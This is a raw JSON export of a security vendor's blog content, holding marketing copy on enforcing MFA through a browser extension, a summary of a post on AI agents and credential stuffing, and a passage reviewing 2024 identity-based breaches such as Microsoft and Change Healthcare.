event",{"data":73686,"marks":73687,"value":2924,"nodeType":864},{},[],{"data":73689,"content":73693,"nodeType":996},{"target":73690},{"sys":73691},{"id":73692,"type":1001,"linkType":1002},"4OVJU6FRSVU9j1WB9NGyJ4",[],{"data":73695,"content":73696,"nodeType":860},{},[73697,73701,73705],{"data":73698,"marks":73699,"value":73700,"nodeType":864},{},[],"By combining visibility of your workforce identities — including granular context on their MFA registration status, MFA methods, and password security, even on unmanaged apps — with in-browser controls like ",{"data":73702,"marks":73703,"value":70996,"nodeType":864},{},[73704],{"type":899},{"data":73706,"marks":73707,"value":73708,"nodeType":864},{},[],", Push helps security teams respond quickly and with assurance that they have the right information and tools to remediate the issue.",{"data":73710,"content":73711,"nodeType":1009},{},[73712],{"data":73713,"marks":73714,"value":73715,"nodeType":864},{},[],"A closer look at MFA enforcement",{"data":73717,"content":73718,"nodeType":860},{},[73719,73723,73727],{"data":73720,"marks":73721,"value":73722,"nodeType":864},{},[],"With the in-browser ",{"data":73724,"marks":73725,"value":70996,"nodeType":864},{},[73726],{"type":899},{"data":73728,"marks":73729,"value":73730,"nodeType":864},{},[]," control, we chose this approach to close the loop on missing MFA issues because:",{"data":73732,"content":73733,"nodeType":941},{},[73734,73744,73754],{"data":73735,"content":73736,"nodeType":945},{},[73737],{"data":73738,"content":73739,"nodeType":860},{},[73740],{"data":73741,"marks":73742,"value":73743,"nodeType":864},{},[],"It meets users where they are, in the most relevant context where they can successfully address the issue.",{"data":73745,"content":73746,"nodeType":945},{},[73747],{"data":73748,"content":73749,"nodeType":860},{},[73750],{"data":73751,"marks":73752,"value":73753,"nodeType":864},{},[],"It solves the problem of enforcing MFA on apps that are outside of administrative control — or that don’t provide any administrative controls to enforce MFA registration natively.",{"data":73755,"content":73756,"nodeType":945},{},[73757],{"data":73758,"content":73759,"nodeType":860},{},[73760],{"data":73761,"marks":73762,"value":73763,"nodeType":864},{},[],"It’s tenant-agnostic. That means that you can enforce MFA for a given app on all tenants of that app, even those free-tier or test tenants that you don’t know about and have no control over.",{"data":73765,"content":73766,"nodeType":860},{},[73767,73771,73776],{"data":73768,"marks":73769,"value":73770,"nodeType":864},{},[],"As a happy side effect, your compliance team will thank you for finally allowing them to attest to where MFA is ",{"data":73772,"marks":73773,"value":73775,"nodeType":864},{},[73774],{"type":2246},"actually",{"data":73777,"marks":73778,"value":73779,"nodeType":864},{},[]," enforced — with verified results, visible at the account level in Push’s admin reporting — across your environment.",{"data":73781,"content":73782,"nodeType":860},{},[73783],{"data":73784,"marks":73785,"value":73786,"nodeType":864},{},[],"Here’s a closer look at how it works:",{"data":73788,"content":73789,"nodeType":860},{},[73790,73794,73798],{"data":73791,"marks":73792,"value":73793,"nodeType":864},{},[],"To enable MFA enforcement, use the configuration tile on the ",{"data":73795,"marks":73796,"value":73661,"nodeType":864},{},[73797],{"type":899},{"data":73799,"marks":73800,"value":73801,"nodeType":864},{},[]," page of the Push admin console and select which apps should require MFA registration. The control currently works with ~90 high-value apps, including Postman, Retool, Datadog, Atlassian, Okta, and others.",{"data":73803,"content":73807,"nodeType":996},{"target":73804},{"sys":73805},{"id":73806,"type":1001,"linkType":1002},"2sDbYZL4oJDxLMbYErJfIN",[],{"data":73809,"content":73810,"nodeType":860},{},[73811],{"data":73812,"marks":73813,"value":73814,"nodeType":864},{},[],"You can then customize the message the employees will see.",{"data":73816,"content":73817,"nodeType":860},{},[73818],{"data":73819,"marks":73820,"value":73821,"nodeType":864},{},[],"On the end-user side, employees will see a banner with your message as soon as they use an app where they lack MFA. ",{"data":73823,"content":73827,"nodeType":996},{"target":73824},{"sys":73825},{"id":73826,"type":1001,"linkType":1002},"37aH1maXXkF8DxgjUod5dn",[],{"data":73829,"content":73830,"nodeType":860},{},[73831],{"data":73832,"marks":73833,"value":73834,"nodeType":864},{},[],"To complete MFA registration, the user can go directly to the app’s MFA registration page from a link in the banner (Push provides this link automatically, where one exists). The extension will query the user’s MFA status regularly in the background and when MFA registration is completed, the banner will disappear and the Push platform will clear the “No MFA” security finding for that account.",{"data":73836,"content":73840,"nodeType":996},{"target":73837},{"sys":73838},{"id":73839,"type":1001,"linkType":1002},"3yb4KjhH3AbvvSnfMbNONr",[],{"data":73842,"content":73843,"nodeType":1009},{},[73844],{"data":73845,"marks":73846,"value":73847,"nodeType":864},{},[],"Find out more",{"data":73849,"content":73850,"nodeType":860},{},[73851,73855,73862],{"data":73852,"marks":73853,"value":73854,"nodeType":864},{},[],"To test our MFA visibility and control features, ",{"data":73856,"content":73857,"nodeType":883},{"uri":19242},[73858],{"data":73859,"marks":73860,"value":73861,"nodeType":864},{},[],"request a demo",{"data":73863,"marks":73864,"value":73865,"nodeType":864},{},[]," from our team. We look forward to helping you finally turn the challenge of MFA coverage into a simple problem, easily solved.","No more hard simple problems: Enforce MFA on third-party apps with Push","Using Push to enforce MFA on third-party apps in the browser — even where MFA enforcement isn't supported by the app itself.","enforce-mfa-on-third-party-apps",{"items":73870},[73871,73873],{"sys":73872,"name":297},{"id":2732},{"sys":73874,"name":342},{"id":6596},{"items":73876},[73877],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":73878},{"url":853},"blog/how-new-ai-agents-will-transform-credential-stuffing-attacks",{"json":73881},{"data":73882,"content":73883,"nodeType":856},{},[73884],{"data":73885,"content":73886,"nodeType":860},{},[73887],{"data":73888,"marks":73889,"value":73890,"nodeType":864},{},[],"Credential stuffing attacks had a huge impact in 2024, fueled by a vicious circle of infostealer infections and data breaches. But things could be about to get worse still with Computer-Using Agents, a new kind of AI agent that enables low-cost, low-effort automation of common web tasks — including those frequently performed by attackers.",{"id":68632,"publishedAt":73892},"2026-08-12T11:54:27.033Z",{"items":73894},[73895,73897],{"sys":73896,"name":6593},{"id":6592},{"sys":73898,"name":297},{"id":2732},{"items":73900},[73901,73903,73905,73907,73909,73911,73913,73915,73917,73919,73921,73923],{"sys":73902,"name":279,"slug":280,"tier":31},{"id":276},{"sys":73904,"name":235,"slug":236,"tier":31},{"id":232},{"sys":73906,"name":413,"slug":414,"tier":31},{"id":410},{"sys":73908,"name":545,"slug":546,"tier":31},{"id":542},{"sys":73910,"name":642,"slug":643,"tier":31},{"id":639},{"sys":73912,"name":333,"slug":334,"tier":45},{"id":330},{"sys":73914,"name":244,"slug":245,"tier":45},{"id":241},{"sys":73916,"name":404,"slug":405,"tier":45},{"id":401},{"sys":73918,"name":422,"slug":423,"tier":45},{"id":419},{"sys":73920,"name":502,"slug":503,"tier":45},{"id":499},{"sys":73922,"name":457,"slug":458,"tier":45},{"id":454},{"sys":73924,"name":528,"slug":529,"tier":45},{"id":525},"UIcjNmC70rCBCwd-j86eeibsl8N_v-w6xGOJ5IMJd1c",{"id":73927,"title":69860,"authorsCollection":73928,"content":73933,"extension":228,"faqItemsCollection":74503,"faqTitle":59,"featured":6,"hashTags":59,"meta":74505,"metaTitle":74506,"ogImage":74507,"postType":5740,"publishedDate":69862,"relatedBlogPostsCollection":74509,"slug":69863,"stem":76963,"subtitle":59,"summary":76964,"synopsis":69861,"sys":76975,"tagsCollection":76977,"topicsCollection":76983,"__hash__":77019},"blog/blog/considering-the-impact-of-computer-using-agents.json",{"items":73929},[73930],{"fullName":26106,"firstName":26107,"jobTitle":26108,"socialLinks":73931,"profilePicture":73932},[62152],{"url":26110},{"json":73934,"links":74469},{"data":73935,"content":73936,"nodeType":856},{},[73937,73943,73956,73962,73967,73973,73979,73982,73988,73994,74000,74020,74026,74039,74042,74048,74054,74075,74081,74087,74103,74108,74114,74130,74135,74141,74181,74188,74194,74204,74214,74220,74246,74252,74255,74261,74277,74283,74289,74295,74298,74304,74311,74317,74323,74383,74389,74395,74401,74431,74437,74443,74449,74454],{"data":73938,"content":73939,"nodeType":860},{},[73940],{"data":73941,"marks":73942,"value":69253,"nodeType":864},{},[],{"data":73944,"content":73945,"nodeType":860},{},[73946,73949,73953],{"data":73947,"marks":73948,"value":69260,"nodeType":864},{},[],{"data":73950,"marks":73951,"value":69265,"nodeType":864},{},[73952],{"type":899},{"data":73954,"marks":73955,"value":69269,"nodeType":864},{},[],{"data":73957,"content":73958,"nodeType":860},{},[73959],{"data":73960,"marks":73961,"value":69276,"nodeType":864},{},[],{"data":73963,"content":73966,"nodeType":996},{"target":73964},{"sys":73965},{"id":69281,"type":1001,"linkType":1002},[],{"data":73968,"content":73969,"nodeType":860},{},[73970],{"data":73971,"marks":73972,"value":69289,"nodeType":864},{},[],{"data":73974,"content":73975,"nodeType":860},{},[73976],{"data":73977,"marks":73978,"value":69296,"nodeType":864},{},[],{"data":73980,"content":73981,"nodeType":1005},{},[],{"data":73983,"content":73984,"nodeType":1009},{},[73985],{"data":73986,"marks":73987,"value":69306,"nodeType":864},{},[],{"data":73989,"content":73990,"nodeType":860},{},[73991],{"data":73992,"marks":73993,"value":69313,"nodeType":864},{},[],{"data":73995,"content":73996,"nodeType":860},{},[73997],{"data":73998,"marks":73999,"value":69320,"nodeType":864},{},[],{"data":74001,"content":74002,"nodeType":860},{},[74003,74006,74010,74013,74017],{"data":74004,"marks":74005,"value":69327,"nodeType":864},{},[],{"data":74007,"marks":74008,"value":69332,"nodeType":864},{},[74009],{"type":899},{"data":74011,"marks":74012,"value":1171,"nodeType":864},{},[],{"data":74014,"marks":74015,"value":69340,"nodeType":864},{},[74016],{"type":899},{"data":74018,"marks":74019,"value":12978,"nodeType":864},{},[],{"data":74021,"content":74022,"nodeType":860},{},[74023],{"data":74024,"marks":74025,"value":69350,"nodeType":864},{},[],{"data":74027,"content":74028,"nodeType":860},{},[74029,74032,74036],{"data":74030,"marks":74031,"value":69357,"nodeType":864},{},[],{"data":74033,"marks":74034,"value":69362,"nodeType":864},{},[74035],{"type":899},{"data":74037,"marks":74038,"value":69366,"nodeType":864},{},[],{"data":74040,"content":74041,"nodeType":1005},{},[],{"data":74043,"content":74044,"nodeType":1009},{},[74045],{"data":74046,"marks":74047,"value":69376,"nodeType":864},{},[],{"data":74049,"content":74050,"nodeType":860},{},[74051],{"data":74052,"marks":74053,"value":69383,"nodeType":864},{},[],{"data":74055,"content":74056,"nodeType":941},{},[74057,74066],{"data":74058,"content":74059,"nodeType":945},{},[74060],{"data":74061,"content":74062,"nodeType":860},{},[74063],{"data":74064,"marks":74065,"value":69396,"nodeType":864},{},[],{"data":74067,"content":74068,"nodeType":945},{},[74069],{"data":74070,"content":74071,"nodeType":860},{},[74072],{"data":74073,"marks":74074,"value":69406,"nodeType":864},{},[],{"data":74076,"content":74077,"nodeType":860},{},[74078],{"data":74079,"marks":74080,"value":69413,"nodeType":864},{},[],{"data":74082,"content":74083,"nodeType":1312},{},[74084],{"data":74085,"marks":74086,"value":69420,"nodeType":864},{},[],{"data":74088,"content":74089,"nodeType":860},{},[74090,74093,74100],{"data":74091,"marks":74092,"value":69427,"nodeType":864},{},[],{"data":74094,"content":74095,"nodeType":883},{"uri":13714},[74096],{"data":74097,"marks":74098,"value":69435,"nodeType":864},{},[74099],{"type":1455},{"data":74101,"marks":74102,"value":25428,"nodeType":864},{},[],{"data":74104,"content":74107,"nodeType":996},{"target":74105},{"sys":74106},{"id":69443,"type":1001,"linkType":1002},[],{"data":74109,"content":74110,"nodeType":860},{},[74111],{"data":74112,"marks":74113,"value":69451,"nodeType":864},{},[],{"data":74115,"content":74116,"nodeType":860},{},[74117,74120,74127],{"data":74118,"marks":74119,"value":69458,"nodeType":864},{},[],{"data":74121,"content":74122,"nodeType":883},{"uri":3751},[74123],{"data":74124,"marks":74125,"value":69466,"nodeType":864},{},[74126],{"type":1455},{"data":74128,"marks":74129,"value":69470,"nodeType":864},{},[],{"data":74131,"content":74134,"nodeType":996},{"target":74132},{"sys":74133},{"id":69475,"type":1001,"linkType":1002},[],{"data":74136,"content":74137,"nodeType":860},{},[74138],{"data":74139,"marks":74140,"value":69483,"nodeType":864},{},[],{"data":74142,"content":74143,"nodeType":941},{},[74144,74153,74162],{"data":74145,"content":74146,"nodeType":945},{},[74147],{"data":74148,"content":74149,"nodeType":860},{},[74150],{"data":74151,"marks":74152,"value":69496,"nodeType":864},{},[],{"data":74154,"content":74155,"nodeType":945},{},[74156],{"data":74157,"content":74158,"nodeType":860},{},[74159],{"data":74160,"marks":74161,"value":69506,"nodeType":864},{},[],{"data":74163,"content":74164,"nodeType":945},{},[74165],{"data":74166,"content":74167,"nodeType":860},{},[74168,74171,74178],{"data":74169,"marks":74170,"value":69516,"nodeType":864},{},[],{"data":74172,"content":74173,"nodeType":883},{"uri":69519},[74174],{"data":74175,"marks":74176,"value":69525,"nodeType":864},{},[74177],{"type":1455},{"data":74179,"marks":74180,"value":69529,"nodeType":864},{},[],{"data":74182,"content":74183,"nodeType":860},{},[74184],{"data":74185,"marks":74186,"value":69537,"nodeType":864},{},[74187],{"type":899},{"data":74189,"content":74190,"nodeType":860},{},[74191],{"data":74192,"marks":74193,"value":69544,"nodeType":864},{},[],{"data":74195,"content":74196,"nodeType":860},{},[74197,74201],{"data":74198,"marks":74199,"value":69552,"nodeType":864},{},[74200],{"type":899},{"data":74202,"marks":74203,"value":69556,"nodeType":864},{},[],{"data":74205,"content":74206,"nodeType":860},{},[74207,74211],{"data":74208,"marks":74209,"value":69564,"nodeType":864},{},[74210],{"type":899},{"data":74212,"marks":74213,"value":69568,"nodeType":864},{},[],{"data":74215,"content":74216,"nodeType":1312},{},[74217],{"data":74218,"marks":74219,"value":69575,"nodeType":864},{},[],{"data":74221,"content":74222,"nodeType":860},{},[74223,74226,74233,74236,74243],{"data":74224,"marks":74225,"value":69582,"nodeType":864},{},[],{"data":74227,"content":74228,"nodeType":883},{"uri":69585},[74229],{"data":74230,"marks":74231,"value":69591,"nodeType":864},{},[74232],{"type":1455},{"data":74234,"marks":74235,"value":69595,"nodeType":864},{},[],{"data":74237,"content":74238,"nodeType":883},{"uri":69598},[74239],{"data":74240,"marks":74241,"value":69604,"nodeType":864},{},[74242],{"type":1455},{"data":74244,"marks":74245,"value":69608,"nodeType":864},{},[],{"data":74247,"content":74248,"nodeType":860},{},[74249],{"data":74250,"marks":74251,"value":69615,"nodeType":864},{},[],{"data":74253,"content":74254,"nodeType":1005},{},[],{"data":74256,"content":74257,"nodeType":1009},{},[74258],{"data":74259,"marks":74260,"value":69625,"nodeType":864},{},[],{"data":74262,"content":74263,"nodeType":860},{},[74264,74267,74274],{"data":74265,"marks":74266,"value":69632,"nodeType":864},{},[],{"data":74268,"content":74269,"nodeType":883},{"uri":69635},[74270],{"data":74271,"marks":74272,"value":69641,"nodeType":864},{},[74273],{"type":1455},{"data":74275,"marks":74276,"value":69645,"nodeType":864},{},[],{"data":74278,"content":74279,"nodeType":860},{},[74280],{"data":74281,"marks":74282,"value":69652,"nodeType":864},{},[],{"data":74284,"content":74285,"nodeType":860},{},[74286],{"data":74287,"marks":74288,"value":69659,"nodeType":864},{},[],{"data":74290,"content":74291,"nodeType":860},{},[74292],{"data":74293,"marks":74294,"value":69666,"nodeType":864},{},[],{"data":74296,"content":74297,"nodeType":1005},{},[],{"data":74299,"content":74300,"nodeType":1009},{},[74301],{"data":74302,"marks":74303,"value":69676,"nodeType":864},{},[],{"data":74305,"content":74306,"nodeType":860},{},[74307],{"data":74308,"marks":74309,"value":69684,"nodeType":864},{},[74310],{"type":899},{"data":74312,"content":74313,"nodeType":860},{},[74314],{"data":74315,"marks":74316,"value":69691,"nodeType":864},{},[],{"data":74318,"content":74319,"nodeType":860},{},[74320],{"data":74321,"marks":74322,"value":69698,"nodeType":864},{},[],{"data":74324,"content":74325,"nodeType":941},{},[74326,74345,74364],{"data":74327,"content":74328,"nodeType":945},{},[74329],{"data":74330,"content":74331,"nodeType":860},{},[74332,74335,74342],{"data":74333,"marks":74334,"value":21,"nodeType":864},{},[],{"data":74336,"content":74337,"nodeType":883},{"uri":69713},[74338],{"data":74339,"marks":74340,"value":69713,"nodeType":864},{},[74341],{"type":1455},{"data":74343,"marks":74344,"value":12978,"nodeType":864},{},[],{"data":74346,"content":74347,"nodeType":945},{},[74348],{"data":74349,"content":74350,"nodeType":860},{},[74351,74354,74361],{"data":74352,"marks":74353,"value":21,"nodeType":864},{},[],{"data":74355,"content":74356,"nodeType":883},{"uri":69733},[74357],{"data":74358,"marks":74359,"value":69733,"nodeType":864},{},[74360],{"type":1455},{"data":74362,"marks":74363,"value":21,"nodeType":864},{},[],{"data":74365,"content":74366,"nodeType":945},{},[74367],{"data":74368,"content":74369,"nodeType":860},{},[74370,74373,74380],{"data":74371,"marks":74372,"value":21,"nodeType":864},{},[],{"data":74374,"content":74375,"nodeType":883},{"uri":69753},[74376],{"data":74377,"marks":74378,"value":69753,"nodeType":864},{},[74379],{"type":1455},{"data":74381,"marks":74382,"value":2924,"nodeType":864},{},[],{"data":74384,"content":74385,"nodeType":860},{},[74386],{"data":74387,"marks":74388,"value":69768,"nodeType":864},{},[],{"data":74390,"content":74391,"nodeType":1312},{},[74392],{"data":74393,"marks":74394,"value":69775,"nodeType":864},{},[],{"data":74396,"content":74397,"nodeType":860},{},[74398],{"data":74399,"marks":74400,"value":69782,"nodeType":864},{},[],{"data":74402,"content":74403,"nodeType":941},{},[74404,74413,74422],{"data":74405,"content":74406,"nodeType":945},{},[74407],{"data":74408,"content":74409,"nodeType":860},{},[74410],{"data":74411,"marks":74412,"value":69795,"nodeType":864},{},[],{"data":74414,"content":74415,"nodeType":945},{},[74416],{"data":74417,"content":74418,"nodeType":860},{},[74419],{"data":74420,"marks":74421,"value":69805,"nodeType":864},{},[],{"data":74423,"content":74424,"nodeType":945},{},[74425],{"data":74426,"content":74427,"nodeType":860},{},[74428],{"data":74429,"marks":74430,"value":69815,"nodeType":864},{},[],{"data":74432,"content":74433,"nodeType":1312},{},[74434],{"data":74435,"marks":74436,"value":13350,"nodeType":864},{},[],{"data":74438,"content":74439,"nodeType":860},{},[74440],{"data":74441,"marks":74442,"value":69828,"nodeType":864},{},[],{"data":74444,"content":74445,"nodeType":860},{},[74446],{"data":74447,"marks":74448,"value":69835,"nodeType":864},{},[],{"data":74450,"content":74453,"nodeType":996},{"target":74451},{"sys":74452},{"id":69840,"type":1001,"linkType":1002},[],{"data":74455,"content":74456,"nodeType":860},{},[74457,74460,74466],{"data":74458,"marks":74459,"value":69848,"nodeType":864},{},[],{"data":74461,"content":74462,"nodeType":883},{"uri":5642},[74463],{"data":74464,"marks":74465,"value":69855,"nodeType":864},{},[],{"data":74467,"marks":74468,"value":69859,"nodeType":864},{},[],{"entries":74470},{"hyperlink":74471,"inline":74472,"block":74473},[],[],[74474,74479,74483,74497],{"sys":74475,"__typename":1724,"title":74476,"caption":74476,"layoutMode":59,"file":74477},{"id":69281},"OpenAI Operator being tasked with “find and book me the highest rated one-day tour of Rome on Tripadvisor”",{"url":74478,"width":24318,"height":71647},"https://images.ctfassets.net/y1cdw1ablpvd/5iIuabafJE9Ppd3MBVPQr1/c28b519b0ea62b926a0ef17c404fc550/image1.png",{"sys":74480,"__typename":1717,"type":1718,"ctaText":74481,"buttonLabel":74482,"buttonColour":68535,"buttonUrl":70672},{"id":69443},"Read about how identity-based techniques were used by attackers in 2024s biggest cyber breaches","Read Blog",{"sys":74484,"__typename":1740,"content":74485,"name":74496,"title":59},{"id":69475},{"json":74486},{"nodeType":856,"data":74487,"content":74488},{},[74489],{"nodeType":860,"data":74490,"content":74491},{},[74492],{"nodeType":864,"value":74493,"marks":74494,"data":74495},"The Snowflake attacks saw credentials from infostealer infections dating back to 2020 used to breach ~165 customer tenants, resulting in hundreds of millions of breached customer records — arguably the biggest cyber breach of the year. But the impact could have been significantly worse than this if the attackers had access to a CUA. ",[],{},"The Snowflake attacks saw credentials from infostealer infections dating back to 2020 used against ~165 customer tenants. But the impact could have been significantly worse than this if the attackers had access to a CUA. ",{"sys":74498,"__typename":71642,"title":74499,"youTubeUrl":74500,"imagePlaceholder":74501},{"id":69840},"5 ways Computer-Using Agents can automate identity attacks","https://www.youtube.com/watch?v=BuefsnMMyrM",{"url":74502,"width":24318,"height":71647},"https://images.ctfassets.net/y1cdw1ablpvd/7kFAZLy7gbAMifHkkKpfo/add59eb5173ee6b0910d86d5406bb946/Slide_16_9_-_104__1_.png",{"items":74504},[],{},"How Computer-Using Agents can be leveraged in cyber attacks",{"url":74508},"https://images.ctfassets.net/y1cdw1ablpvd/4ACAoxro2X0ONhQrEMDd8C/a066c8b0ec720732f98da1ed5dd2c382/Youtube_Video_Thumbnail_V2__3_.jpg",{"items":74510},[74511,75144,75948],{"__typename":2059,"sys":74512,"content":74514,"title":75132,"synopsis":75133,"hashTags":59,"publishedDate":75134,"slug":75135,"tagsCollection":75136,"authorsCollection":75140},{"id":74513},"1pJdOGN0dOd3BKVqO4CxHh",{"json":74515},{"data":74516,"content":74517,"nodeType":856},{},[74518,74525,74532,74539,74558,74565,74572,74575,74583,74590,74597,74604,74610,74617,74620,74628,74635,74642,74649,74656,74662,74669,74672,74680,74688,74695,74702,74709,74729,74737,74744,74751,74758,74765,74773,74780,74787,74793,74796,74804,74811,74818,74825,74832,74839,74842,74850,74857,74864,74871,74878,74885,74994,75010,75017,75023,75026,75034,75041,75108,75115],{"data":74519,"content":74520,"nodeType":860},{},[74521],{"data":74522,"marks":74523,"value":74524,"nodeType":864},{},[],"2024 was an unprecedented year in terms of the impact of identity-based attacks. Or that’s what it felt like anyway, so I decided to trawl through a year of news to see if reality stacked up. ",{"data":74526,"content":74527,"nodeType":860},{},[74528],{"data":74529,"marks":74530,"value":74531,"nodeType":864},{},[],"My main obstacles here were the ever-disappointing levels of public information disclosure for cyber breaches. Even where breaches are disclosed, it’s rare that any public information contains the nature of the initial access vector (though I can’t say I’m surprised — it’s hard to argue the ‘highly sophisticated’ nature of a breach that involved stolen credentials and no MFA). ",{"data":74533,"content":74534,"nodeType":860},{},[74535],{"data":74536,"marks":74537,"value":74538,"nodeType":864},{},[],"Publicly disclosed breaches are just the tip of the iceberg, and with the rise in data theft and extortion over more disruptive attacks (e.g. ransomware), there is often no obvious service interruption indicating that an incident has taken place. This makes it more likely that these situations can be settled quietly or smoothed over, without hitting the headlines. ",{"data":74540,"content":74541,"nodeType":860},{},[74542,74546,74555],{"data":74543,"marks":74544,"value":74545,"nodeType":864},{},[],"That said, the requirement that US companies submit a Form-8K for breaches of a material nature does appear to have increased the number of voluntary declarations (inside the US, at least) and the growing willingness of the SEC to prosecute negligent or misleading behavior is also a considerable motivator, such as ",{"data":74547,"content":74549,"nodeType":883},{"uri":74548},"https://www.bleepingcomputer.com/news/security/sec-charges-tech-companies-for-downplaying-solarwinds-breaches/",[74550],{"data":74551,"marks":74552,"value":74554,"nodeType":864},{},[74553],{"type":1455},"the recent prosecution of companies for misleading investors about the impact of the 2020 SolarWinds Orion hack",{"data":74556,"marks":74557,"value":2924,"nodeType":864},{},[],{"data":74559,"content":74560,"nodeType":860},{},[74561],{"data":74562,"marks":74563,"value":74564,"nodeType":864},{},[],"Despite all this, I totalled 30 breaches that were the result of an identity-based initial access vector, such as phishing, credential stuffing, social engineering, session hijacking, etc. To make the list, it had to have appeared in the public domain, confirmed by the victim or an authoritative source, and the breach vector had to have been named. ",{"data":74566,"content":74567,"nodeType":860},{},[74568],{"data":74569,"marks":74570,"value":74571,"nodeType":864},{},[],"Public identity-related breaches in 2024 resulted in hundreds of millions of breached customer records (with the final impact of many still yet to appear in the public domain).",{"data":74573,"content":74574,"nodeType":1005},{},[],{"data":74576,"content":74577,"nodeType":1009},{},[74578],{"data":74579,"marks":74580,"value":74582,"nodeType":864},{},[74581],{"type":899},"What is an identity attack?",{"data":74584,"content":74585,"nodeType":860},{},[74586],{"data":74587,"marks":74588,"value":74589,"nodeType":864},{},[],"First, what do we mean by identity attack? ",{"data":74591,"content":74592,"nodeType":860},{},[74593],{"data":74594,"marks":74595,"value":74596,"nodeType":864},{},[],"An identity attack is any attack (regardless of the steps that follow) involving identity-based techniques, such as phishing, credential stuffing, and session hijacking, to log into an account/service. Basically, where identity is the initial breach vector.",{"data":74598,"content":74599,"nodeType":860},{},[74600],{"data":74601,"marks":74602,"value":74603,"nodeType":864},{},[],"The length and complexity of the overall attack chain will vary. For example, a SaaS-based account takeover where the attacker logs in and dumps the data from the app is naturally going to be more direct than a scenario in which an identity-based compromise leads to the takeover of an endpoint or device in a traditional networking environment. ",{"data":74605,"content":74609,"nodeType":996},{"target":74606},{"sys":74607},{"id":74608,"type":1001,"linkType":1002},"SCbhb6dzXnaKUianhgLEL",[],{"data":74611,"content":74612,"nodeType":860},{},[74613],{"data":74614,"marks":74615,"value":74616,"nodeType":864},{},[],"In 2024, we’ve seen examples of both SaaS-based account takeover as well as identity attacks being used for initial access to more traditional networks, often resulting in ransomware deployment.",{"data":74618,"content":74619,"nodeType":1005},{},[],{"data":74621,"content":74622,"nodeType":1009},{},[74623],{"data":74624,"marks":74625,"value":74627,"nodeType":864},{},[74626],{"type":899},"Breakdown of public identity breaches in 2024",{"data":74629,"content":74630,"nodeType":860},{},[74631],{"data":74632,"marks":74633,"value":74634,"nodeType":864},{},[],"It’s always tricky to gauge the impact of a cyber breach, particularly when considering the limited information typically shared. Different types of breach are easier to assess than others — for example, any breach involving extortion/ransom payment has a clear cost associated. Regulator fines and penalties are also clear cut. But aside from these, you’re looking at the extent of any disruption/downtime, recovery costs, and the like. Long term, indirect impacts such as the loss of customer confidence are naturally tricky to estimate. ",{"data":74636,"content":74637,"nodeType":860},{},[74638],{"data":74639,"marks":74640,"value":74641,"nodeType":864},{},[],"However, many identity breaches don’t even have these metrics to go by. The general shift toward data theft only (as opposed to ransomware deployment) continued in 2024, and many of the public identity breaches reflect this. In these attacks, attackers steal data to extort a ransom payment, blackmail end-customers, and/or sell the data via underground criminal marketplaces. ",{"data":74643,"content":74644,"nodeType":860},{},[74645],{"data":74646,"marks":74647,"value":74648,"nodeType":864},{},[],"The one consistent metric we do have is the number of breached records, which is available in many (but not all) cases. Some organizations have attempted to calculate the financial impact per breached record. Most notably IBMs annual ‘Cost of a Data Breach’ report estimates the average data breach to cost $4.88m, and the cost per compromised record to be $169. But when applied to the sheer magnitude of 2024’s biggest attacks (in the region of hundreds of millions of breached records) the figures quickly reach unbelievable levels. ",{"data":74650,"content":74651,"nodeType":860},{},[74652],{"data":74653,"marks":74654,"value":74655,"nodeType":864},{},[],"All this is to say: It’s hard to pin down the relative impact of data breaches. But with the information available (profile of the victim organization, type of data impacted, number of customers impacted) it’s possible to provide a finger-in-the-air assessment — which is what I’ve attempted to do below. Here, we can see the overall month-by-month impact of public identity breaches, dated from when they were first reported (or using dates provided in said reports). ",{"data":74657,"content":74661,"nodeType":996},{"target":74658},{"sys":74659},{"id":74660,"type":1001,"linkType":1002},"2XYuNqLuKhZbISb4II9IW4",[],{"data":74663,"content":74664,"nodeType":860},{},[74665],{"data":74666,"marks":74667,"value":74668,"nodeType":864},{},[],"Let’s take a closer look at the most notable breaches (and why they were especially significant). ",{"data":74670,"content":74671,"nodeType":1005},{},[],{"data":74673,"content":74674,"nodeType":1009},{},[74675],{"data":74676,"marks":74677,"value":74679,"nodeType":864},{},[74678],{"type":899},"Top 3 public identity-related breaches in 2024",{"data":74681,"content":74682,"nodeType":1312},{},[74683],{"data":74684,"marks":74685,"value":74687,"nodeType":864},{},[74686],{"type":899},"#3: Microsoft — January 2024",{"data":74689,"content":74690,"nodeType":860},{},[74691],{"data":74692,"marks":74693,"value":74694,"nodeType":864},{},[],"The threat group known as APT29, associated with the Russian SVR intelligence service, utilized password spray attacks that successfully compromised a non-production tenant account that did not have multi-factor authentication (MFA) enabled. They then leveraged this account to compromise a ‘test’ OAuth application that had elevated access to the Microsoft corporate environment. This was then used to access the email accounts of Microsoft employees. ",{"data":74696,"content":74697,"nodeType":860},{},[74698],{"data":74699,"marks":74700,"value":74701,"nodeType":864},{},[],"The attacks then continued throughout the year using information stolen from Microsoft mailboxes, with password spraying attacks increasing tenfold since the initial attack, resulting in the further compromise of source code repositories. ",{"data":74703,"content":74704,"nodeType":860},{},[74705],{"data":74706,"marks":74707,"value":74708,"nodeType":864},{},[],"Microsoft has shared limited information about the breach, but despite this it caused a significant stir. We can expect the number of email accounts compromised to be significant, given that it was later suggested that at least 100 external organizations had been contacted by Microsoft regarding their communications being breached (we only know this because 100-ish organizations reported the email as spam). The list of companies impacted included both public and private sector organizations, from major enterprises to government agencies in the US and other countries. ",{"data":74710,"content":74711,"nodeType":860},{},[74712,74716,74725],{"data":74713,"marks":74714,"value":74715,"nodeType":864},{},[],"Microsoft’s challenges with credential management didn’t end here either, ",{"data":74717,"content":74719,"nodeType":883},{"uri":74718},"https://pushsecurity.com/blog/learning-from-the-servicenow-disclosure/",[74720],{"data":74721,"marks":74722,"value":74724,"nodeType":864},{},[74723],{"type":1455},"with bug bounty hunters able to use stolen credentials from a TI platform to breach Microsoft’s ServiceNow tenant",{"data":74726,"marks":74727,"value":74728,"nodeType":864},{},[],", accessing 1,000s of support ticket descriptions and attachments, and 250k+ employee emails.",{"data":74730,"content":74731,"nodeType":1312},{},[74732],{"data":74733,"marks":74734,"value":74736,"nodeType":864},{},[74735],{"type":899},"#2: Change Healthcare — February 2024",{"data":74738,"content":74739,"nodeType":860},{},[74740],{"data":74741,"marks":74742,"value":74743,"nodeType":864},{},[],"In February, attackers stole 6TB of data from UnitedHealth subsidiary Change Healthcare as part of a severe ransomware attack that caused massive disruption to the US healthcare industry. This impacted a wide range of critical services used by healthcare providers across the U.S., including payment processing, prescription writing, and insurance claims, and caused financial damages estimated at $872 million. The attack impacted the personal medical data of over 100M customers. ",{"data":74745,"content":74746,"nodeType":860},{},[74747],{"data":74748,"marks":74749,"value":74750,"nodeType":864},{},[],"The attacker used stolen credentials to breach the company's Citrix remote access service, which did not have multi-factor authentication 